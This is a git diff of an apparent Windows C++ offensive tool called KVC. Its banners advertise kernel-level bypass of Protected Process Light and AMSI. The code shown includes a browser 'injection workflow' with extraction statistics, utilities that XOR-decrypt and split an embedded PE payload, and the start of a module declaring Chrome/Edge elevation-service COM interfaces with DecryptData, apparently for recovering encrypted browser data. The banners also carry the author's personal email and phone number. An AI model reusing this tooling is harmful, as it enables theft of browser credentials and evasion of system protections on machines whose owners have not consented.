auto optConfig = Configuration::CreateFromArgs(argc, argv, console);
if (!optConfig)
return 1;
try
{
if (!isVerbose)
console.Info("Processing " + optConfig->browserDisplayName + "...\n");
auto stats = RunInjectionWorkflow(*optConfig, console);
if (!isVerbose)
DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true,
optConfig->outputPath);
else
console.Success("\nSecurity analysis completed successfully");
}
catch (const std::runtime_error& e)
{
console.Error(e.what());
return 1;
}
}
console.Debug("Security orchestrator finished successfully.");
return 0;
}

41
kvc/OrchestratorCore.h Normal file
View File

@@ -0,0 +1,41 @@
// OrchestratorCore.h - Main orchestration logic and configuration management
#ifndef ORCHESTRATOR_CORE_H
#define ORCHESTRATOR_CORE_H
#include <Windows.h>
#include <filesystem>
#include <optional>
#include <string>
#include "CommunicationLayer.h"
#include "EdgeDPAPI.h"
namespace fs = std::filesystem;
// Application configuration parsed from command-line arguments
struct Configuration
{
bool verbose = false;
fs::path outputPath;
std::wstring browserType;
std::wstring browserProcessName;
std::wstring browserDefaultExePath;
std::string browserDisplayName;
// Parses command line arguments and builds configuration
static std::optional<Configuration> CreateFromArgs(int argc, wchar_t* argv[], const Console& console);
};
// Executes the complete browser analysis workflow
PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console);
// Processes all installed browsers in batch mode
void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath);
// Displays final extraction summary for a single browser
void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats,
const Console& console, bool singleBrowser, const fs::path& outputPath);
// Builds a human-readable summary string from extraction statistics
std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats);
#endif // ORCHESTRATOR_CORE_H

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ProcessManager.cpp
#include "ProcessManager.h"
#include "Controller.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "ReportExporter.h"
#include "Controller.h"
#include <filesystem>

View File

@@ -1,29 +1,4 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// SelfLoader.cpp
// SelfLoader.cpp
#include <windows.h>
#include <algorithm>
#include <cstring>

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "ServiceManager.h"
#include "Controller.h"
#include "KeyboardHook.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "TrustedInstallerIntegrator.h"
#include "common.h"
#include <tchar.h>

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// Utils.cpp - Fixed compilation issues with NtQuerySystemInformation
#include "Utils.h"
#include "common.h"

View File

@@ -1,662 +0,0 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
//==============================================================================
// Utils.cpp - System utility functions with modern C++ optimizations
// Enhanced performance, robust error handling, low-level system operations
//==============================================================================
#include "Utils.h"
#include "common.h"
#include <windows.h>
#include <tlhelp32.h>
#include <filesystem>
#include <unordered_map>
#include <algorithm>
#include <array>
#include <string_view>
#include <regex>
#include <memory>
namespace fs = std::filesystem;
namespace Utils {
//==============================================================================
// STRING AND NUMERIC PARSING UTILITIES
//==============================================================================
[[nodiscard]] std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept
{
if (pidStr.empty()) return std::nullopt;
try {
// Fast path for single digits
if (pidStr.length() == 1 && std::iswdigit(pidStr[0])) {
return static_cast<DWORD>(pidStr[0] - L'0');
}
// Validate all characters are digits before conversion
if (!std::all_of(pidStr.begin(), pidStr.end(),
[](wchar_t c) { return std::iswdigit(c); })) {
return std::nullopt;
}
const unsigned long result = std::wcstoul(pidStr.c_str(), nullptr, 10);
return (result <= MAXDWORD && result != ULONG_MAX) ?
std::make_optional(static_cast<DWORD>(result)) : std::nullopt;
} catch (...) {
return std::nullopt;
}
}
[[nodiscard]] bool IsNumeric(const std::wstring& str) noexcept
{
return !str.empty() &&
std::all_of(str.begin(), str.end(),
[](wchar_t c) { return c >= L'0' && c <= L'9'; });
}
//==============================================================================
// ADVANCED FILE OPERATIONS WITH ROBUST ERROR HANDLING
//==============================================================================
bool ForceDeleteFile(const std::wstring& path) noexcept
{
// Fast path - try normal delete first
if (DeleteFileW(path.c_str())) {
return true;
}
// Remove file attributes that might prevent deletion
const DWORD attrs = GetFileAttributesW(path.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) {
SetFileAttributesW(path.c_str(), FILE_ATTRIBUTE_NORMAL);
// Retry after attribute removal
if (DeleteFileW(path.c_str())) {
return true;
}
}
// Last resort: schedule deletion after reboot
wchar_t tempPath[MAX_PATH];
if (GetTempPathW(MAX_PATH, tempPath)) {
wchar_t tempFile[MAX_PATH];
if (GetTempFileNameW(tempPath, L"KVC", 0, tempFile)) {
if (MoveFileExW(path.c_str(), tempFile, MOVEFILE_REPLACE_EXISTING)) {
return MoveFileExW(tempFile, nullptr, MOVEFILE_DELAY_UNTIL_REBOOT);
}
}
}
return false;
}
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data)
{
if (data.empty()) return false;
// Ensure parent directory exists
const fs::path filePath = path;
std::error_code ec;
fs::create_directories(filePath.parent_path(), ec);
// Remove existing file if present
if (fs::exists(filePath)) {
ForceDeleteFile(path);
}
// Create file with appropriate security attributes
const HANDLE hFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, nullptr,
CREATE_NEW, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
return false;
}
// Write data in chunks for large files - prevents memory issues
constexpr DWORD CHUNK_SIZE = 64 * 1024; // 64KB chunks
DWORD totalWritten = 0;
while (totalWritten < data.size()) {
const DWORD bytesToWrite = std::min(CHUNK_SIZE,
static_cast<DWORD>(data.size() - totalWritten));
DWORD bytesWritten;
if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite,
&bytesWritten, nullptr) || bytesWritten != bytesToWrite) {
CloseHandle(hFile);
DeleteFileW(path.c_str()); // Cleanup partial file
return false;
}
totalWritten += bytesWritten;
}
// Ensure data is committed to disk
FlushFileBuffers(hFile);
CloseHandle(hFile);
return true;
}
std::vector<BYTE> ReadFile(const std::wstring& path)
{
const HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
return {};
}
LARGE_INTEGER fileSize;
if (!GetFileSizeEx(hFile, &fileSize)) {
CloseHandle(hFile);
return {};
}
// Use memory mapping for files > 64KB - significant performance boost
if (fileSize.QuadPart > 65536) {
const HANDLE hMapping = CreateFileMappingW(hFile, nullptr, PAGE_READONLY, 0, 0, nullptr);
if (hMapping) {
void* const pData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (pData) {
std::vector<BYTE> result(static_cast<const BYTE*>(pData),
static_cast<const BYTE*>(pData) + fileSize.QuadPart);
UnmapViewOfFile(pData);
CloseHandle(hMapping);
CloseHandle(hFile);
return result;
}
CloseHandle(hMapping);
}
}
// Fallback to standard read for small files
std::vector<BYTE> buffer(static_cast<size_t>(fileSize.QuadPart));
DWORD bytesRead;
const BOOL success = ::ReadFile(hFile, buffer.data(), static_cast<DWORD>(buffer.size()),
&bytesRead, nullptr);
CloseHandle(hFile);
return (success && bytesRead == buffer.size()) ? std::move(buffer) : std::vector<BYTE>{};
}
//==============================================================================
// RESOURCE EXTRACTION WITH VALIDATION
//==============================================================================
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType)
{
const HRSRC hRes = FindResource(nullptr, MAKEINTRESOURCE(resourceId), resourceType);
if (!hRes) return {};
const HGLOBAL hData = LoadResource(nullptr, hRes);
if (!hData) return {};
const DWORD dataSize = SizeofResource(nullptr, hRes);
if (dataSize == 0) return {};
void* const pData = LockResource(hData);
if (!pData) return {};
return std::vector<BYTE>(static_cast<const BYTE*>(pData),
static_cast<const BYTE*>(pData) + dataSize);
}
//==============================================================================
// PROCESS NAME RESOLUTION WITH INTELLIGENT CACHING
//==============================================================================
static thread_local std::unordered_map<DWORD, std::wstring> g_processCache;
static thread_local DWORD g_lastCacheUpdate = 0;
[[nodiscard]] std::wstring GetProcessName(DWORD pid) noexcept
{
// Use CreateToolhelp32Snapshot for reliable process enumeration
const HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return L"[Unknown]";
}
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (pe.th32ProcessID == pid) {
CloseHandle(hSnapshot);
return std::wstring(pe.szExeFile);
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return L"[Unknown]";
}
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress,
UCHAR protectionLevel, UCHAR signerType) noexcept
{
// Cache management - refresh every 30 seconds for performance
const DWORD currentTick = static_cast<DWORD>(GetTickCount64());
if (currentTick - g_lastCacheUpdate > 30000) {
g_processCache.clear();
g_lastCacheUpdate = currentTick;
}
// Check cache first - significant performance improvement
if (const auto cacheIt = g_processCache.find(pid); cacheIt != g_processCache.end()) {
return cacheIt->second;
}
std::wstring processName = L"Unknown";
// Multiple resolution strategies for maximum reliability
if (const HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid)) {
wchar_t imagePath[MAX_PATH] = {};
DWORD bufferSize = MAX_PATH;
// Try QueryFullProcessImageName first - most reliable method
if (QueryFullProcessImageNameW(hProcess, 0, imagePath, &bufferSize)) {
const std::wstring fullPath(imagePath);
const size_t lastSlash = fullPath.find_last_of(L'\\');
processName = (lastSlash != std::wstring::npos) ?
fullPath.substr(lastSlash + 1) : fullPath;
}
CloseHandle(hProcess);
}
// Fallback to snapshot-based resolution
if (processName == L"Unknown") {
processName = GetProcessName(pid);
}
// Cache successful resolutions
if (processName != L"Unknown" && processName != L"[Unknown]") {
g_processCache[pid] = processName;
}
return processName;
}
//==============================================================================
// PROTECTION LEVEL PARSING WITH OPTIMIZED LOOKUP TABLES
//==============================================================================
[[nodiscard]] std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept
{
// Static lookup table - compile-time initialization for optimal performance
static const std::unordered_map<std::wstring, UCHAR> levels = {
{L"none", static_cast<UCHAR>(PS_PROTECTED_TYPE::None)},
{L"ppl", static_cast<UCHAR>(PS_PROTECTED_TYPE::ProtectedLight)},
{L"pp", static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)}
};
if (protectionLevel.empty()) return std::nullopt;
// Single allocation for case conversion
std::wstring lower = protectionLevel;
std::transform(lower.begin(), lower.end(), lower.begin(),
[](wchar_t c) { return std::towlower(c); });
if (const auto it = levels.find(lower); it != levels.end()) {
return it->second;
}
return std::nullopt;
}
[[nodiscard]] std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept
{
if (signerType.empty()) return std::nullopt;
// Convert to lowercase for case-insensitive comparison
std::wstring lower = signerType;
std::transform(lower.begin(), lower.end(), lower.begin(),
[](wchar_t c) { return std::towlower(c); });
// Direct string comparisons - fastest for small datasets
if (lower == L"none") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::None);
if (lower == L"authenticode") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Authenticode);
if (lower == L"codegen") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::CodeGen);
if (lower == L"antimalware") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Antimalware);
if (lower == L"lsa") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Lsa);
if (lower == L"windows") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::Windows);
if (lower == L"wintcb") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinTcb);
if (lower == L"winsystem") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinSystem);
if (lower == L"app") return static_cast<UCHAR>(PS_PROTECTED_SIGNER::App);
return std::nullopt;
}
//==============================================================================
// STRING REPRESENTATION FUNCTIONS WITH STATIC STORAGE
//==============================================================================
[[nodiscard]] const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept
{
// Static strings eliminate repeated allocations
static const std::wstring none = L"None";
static const std::wstring ppl = L"PPL";
static const std::wstring pp = L"PP";
static const std::wstring unknown = L"Unknown";
switch (static_cast<PS_PROTECTED_TYPE>(protectionLevel)) {
case PS_PROTECTED_TYPE::None: return none.c_str();
case PS_PROTECTED_TYPE::ProtectedLight: return ppl.c_str();
case PS_PROTECTED_TYPE::Protected: return pp.c_str();
default: return unknown.c_str();
}
}
[[nodiscard]] const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept
{
// Jump table approach for maximum performance
static const std::wstring none = L"None";
static const std::wstring authenticode = L"Authenticode";
static const std::wstring codegen = L"CodeGen";
static const std::wstring antimalware = L"Antimalware";
static const std::wstring lsa = L"Lsa";
static const std::wstring windows = L"Windows";
static const std::wstring wintcb = L"WinTcb";
static const std::wstring winsystem = L"WinSystem";
static const std::wstring app = L"App";
static const std::wstring unknown = L"Unknown";
switch (static_cast<PS_PROTECTED_SIGNER>(signerType)) {
case PS_PROTECTED_SIGNER::None: return none.c_str();
case PS_PROTECTED_SIGNER::Authenticode: return authenticode.c_str();
case PS_PROTECTED_SIGNER::CodeGen: return codegen.c_str();
case PS_PROTECTED_SIGNER::Antimalware: return antimalware.c_str();
case PS_PROTECTED_SIGNER::Lsa: return lsa.c_str();
case PS_PROTECTED_SIGNER::Windows: return windows.c_str();
case PS_PROTECTED_SIGNER::WinTcb: return wintcb.c_str();
case PS_PROTECTED_SIGNER::WinSystem: return winsystem.c_str();
case PS_PROTECTED_SIGNER::App: return app.c_str();
default: return unknown.c_str();
}
}
[[nodiscard]] const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept
{
// Static buffer for unknown signature levels - thread-safe
switch (signatureLevel) {
case 0x00: return L"None";
case 0x08: return L"App";
case 0x0c: return L"Standard"; // Standard DLL verification
case 0x1c: return L"System"; // System DLL verification
case 0x1e: return L"Kernel"; // Kernel EXE verification
case 0x3c: return L"Service"; // Windows service EXE
case 0x3e: return L"Critical"; // Critical system EXE
case 0x07:
case 0x37: return L"WinSystem";
default: {
static thread_local wchar_t buf[32];
swprintf_s(buf, L"Unknown (0x%02x)", signatureLevel);
return buf;
}
}
}
//==============================================================================
// PROCESS DUMPABILITY ANALYSIS WITH HEURISTICS
//==============================================================================
[[nodiscard]] ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept
{
ProcessDumpability result{false, L""};
// Known undumpable system processes - hardcoded for performance
static const std::unordered_set<DWORD> undumpablePids = {
4, // System process
188, // Secure System
232, // Registry process
3052 // Memory Compression
};
static const std::unordered_set<std::wstring> undumpableNames = {
L"System",
L"Secure System",
L"Registry",
L"Memory Compression"
};
if (undumpablePids.contains(pid)) {
result.Reason = L"System kernel process - undumpable by design";
return result;
}
if (undumpableNames.contains(processName)) {
result.Reason = L"Critical system process - protected by kernel";
return result;
}
// Additional heuristics for process dumpability
if (processName == L"[Unknown]" || processName.empty()) {
result.Reason = L"Process name unknown - likely kernel process";
return result;
}
// Assume process is dumpable if not in exclusion lists
result.CanDump = true;
result.Reason = L"Process appears dumpable with proper privileges";
return result;
}
//==============================================================================
// HEX STRING PROCESSING UTILITIES
//==============================================================================
[[nodiscard]] bool IsValidHexString(const std::wstring& hexString) noexcept
{
if (hexString.empty() || (hexString.length() % 2) != 0) {
return false;
}
return std::all_of(hexString.begin(), hexString.end(),
[](wchar_t c) {
return (c >= L'0' && c <= L'9') ||
(c >= L'A' && c <= L'F') ||
(c >= L'a' && c <= L'f');
});
}
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept
{
if (!IsValidHexString(hexString)) {
return false;
}
bytes.clear();
bytes.reserve(hexString.length() / 2);
for (size_t i = 0; i < hexString.length(); i += 2) {
const wchar_t highNibble = hexString[i];
const wchar_t lowNibble = hexString[i + 1];
auto hexToByte = [](wchar_t c) -> BYTE {
if (c >= L'0' && c <= L'9') return static_cast<BYTE>(c - L'0');
if (c >= L'A' && c <= L'F') return static_cast<BYTE>(c - L'A' + 10);
if (c >= L'a' && c <= L'f') return static_cast<BYTE>(c - L'a' + 10);
return 0;
};
const BYTE byte = (hexToByte(highNibble) << 4) | hexToByte(lowNibble);
bytes.push_back(byte);
}
return true;
}
//==============================================================================
// PE BINARY PARSING AND MANIPULATION
//==============================================================================
[[nodiscard]] std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset) noexcept
{
try {
if (data.size() < offset + 64) return std::nullopt; // Not enough data for DOS header
// Verify DOS signature "MZ"
if (data[offset] != 'M' || data[offset + 1] != 'Z') {
return std::nullopt;
}
// Get PE header offset from DOS header
DWORD pe_offset;
std::memcpy(&pe_offset, &data[offset + 60], sizeof(DWORD));
const size_t pe_header_start = offset + pe_offset;
if (data.size() < pe_header_start + 24) return std::nullopt;
// Verify PE signature "PE\0\0"
if (std::memcmp(&data[pe_header_start], "PE\0\0", 4) != 0) {
return std::nullopt;
}
// Parse COFF header for section count
WORD number_of_sections;
std::memcpy(&number_of_sections, &data[pe_header_start + 6], sizeof(WORD));
if (number_of_sections == 0) return std::nullopt;
// Calculate section table location
WORD optional_header_size;
std::memcpy(&optional_header_size, &data[pe_header_start + 20], sizeof(WORD));
const size_t section_table_offset = pe_header_start + 24 + optional_header_size;
constexpr size_t section_header_size = 40;
if (data.size() < section_table_offset + (number_of_sections * section_header_size)) {
return std::nullopt;
}
// Find the highest file offset + size from all sections
size_t max_end = 0;
for (WORD i = 0; i < number_of_sections; ++i) {
const size_t sh_offset = section_table_offset + (i * section_header_size);
if (data.size() < sh_offset + 24) {
return std::nullopt;
}
DWORD size_of_raw, pointer_to_raw;
std::memcpy(&size_of_raw, &data[sh_offset + 16], sizeof(DWORD));
std::memcpy(&pointer_to_raw, &data[sh_offset + 20], sizeof(DWORD));
if (pointer_to_raw == 0) continue; // Skip sections without raw data
const size_t section_end = pointer_to_raw + size_of_raw;
max_end = std::max(max_end, section_end);
}
if (max_end > 0) {
const size_t header_end = section_table_offset + number_of_sections * section_header_size;
const size_t file_end = std::max(max_end, header_end);
return std::min(file_end, data.size());
}
return std::nullopt;
} catch (...) {
return std::nullopt;
}
}
bool SplitCombinedPE(const std::vector<BYTE>& combined,
std::vector<BYTE>& first,
std::vector<BYTE>& second) noexcept
{
try {
if (combined.empty()) return false;
// Determine exact size of first PE file
const auto first_size = GetPEFileLength(combined, 0);
if (!first_size || *first_size <= 0 || *first_size >= combined.size()) {
// Fallback: search for next "MZ" signature
constexpr size_t search_start = 0x200;
const size_t search_offset = (combined.size() > search_start) ? search_start : 0;
for (size_t i = search_offset; i < combined.size() - 1; ++i) {
if (combined[i] == 'M' && combined[i + 1] == 'Z') {
// Found potential second PE
first.assign(combined.begin(), combined.begin() + i);
second.assign(combined.begin() + i, combined.end());
return !first.empty() && !second.empty();
}
}
return false;
}
// Split at calculated boundary
const size_t split_point = *first_size;
if (split_point >= combined.size()) return false;
first.assign(combined.begin(), combined.begin() + split_point);
second.assign(combined.begin() + split_point, combined.end());
return !first.empty() && !second.empty();
} catch (...) {
return false;
}
}
//==============================================================================
// XOR DECRYPTION UTILITY
//==============================================================================
[[nodiscard]] std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
const std::array<BYTE, 7>& key) noexcept
{
if (encryptedData.empty()) return {};
std::vector<BYTE> decrypted;
decrypted.reserve(encryptedData.size());
for (size_t i = 0; i < encryptedData.size(); ++i) {
const BYTE decrypted_byte = encryptedData[i] ^ key[i % key.size()];
decrypted.push_back(decrypted_byte);
}
return decrypted;
}
//==============================================================================
// KERNEL ADDRESS UTILITIES
//==============================================================================
[[nodiscard]] std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept
{
// Implementation depends on kernel driver communication
// This is a placeholder for the actual kernel base address retrieval
return std::nullopt;
}
} // namespace Utils

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// common.cpp - Core system utilities and dynamic API management
// Implements service management, system path resolution, and Windows API abstraction

View File

@@ -1,933 +0,0 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// kvc_crypt.cpp
#include <Windows.h>
#include <ShlObj.h>
#include <wrl/client.h>
#include <bcrypt.h>
#include <Wincrypt.h>
#include <fstream>
#include <sstream>
#include <iomanip>
#include <vector>
#include <tlhelp32.h>
#include <string>
#include <algorithm>
#include <memory>
#include <optional>
#include <stdexcept>
#include <filesystem>
#include <unordered_map>
#include "SelfLoader.h"
#include "winsqlite3.h"
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
namespace fs = std::filesystem;
// Simplified string utilities for essential conversions only
namespace StringUtils
{
// Convert filesystem path to API-compatible string
inline std::string path_to_string(const fs::path& path)
{
return path.string();
}
}
// COM Interface Protection Levels for Browser Elevation Services
enum class ProtectionLevel
{
None = 0,
PathValidationOld = 1,
PathValidation = 2,
Max = 3
};
// Chrome/Brave Base Elevator Interface - COM interop for browser security services
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IOriginalBaseElevator : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};
// Edge Elevator Base Interface - placeholder methods for compatibility
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
IEdgeElevatorBase_Placeholder : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
